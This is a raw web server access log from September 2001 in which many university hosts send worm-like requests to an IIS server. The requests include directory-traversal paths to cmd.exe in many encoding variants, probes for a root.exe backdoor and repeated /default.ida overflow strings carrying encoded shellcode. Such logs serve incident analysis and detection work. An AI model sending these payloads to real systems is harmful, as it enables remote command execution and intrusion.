bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:03: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:03: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:03: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:45:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:45:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:45:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 06:45:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:48:40: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:44: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:44: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:44: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:45: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:45: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:48:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:50:22: [128.121.246.153] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:51:02: [128.121.246.153] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:51:22: [128.121.246.153] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:51:41: [128.121.246.153] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:51:59: [128.121.246.153] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:52:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:52:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:19: [128.121.246.153] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:39: [128.121.246.153] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:52:58: [128.121.246.153] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:53:16: [128.121.246.153] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:53:34: [128.121.246.153] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:53:53: [128.121.246.153] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:54:11: [128.121.246.153] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:54:29: [128.121.246.153] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:54:48: [128.121.246.153] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:55:06: [128.121.246.153] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:55:25: [128.121.246.153] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:55:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 06:59:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 07:01:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:03:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 07:03:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 07:08:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:17: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:17: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:11:17: [204.250.115.130] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 07:11:38: pmc.lehigh.edu [128.180.13.50] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:07: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:23:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 07:26:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 07:26:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET 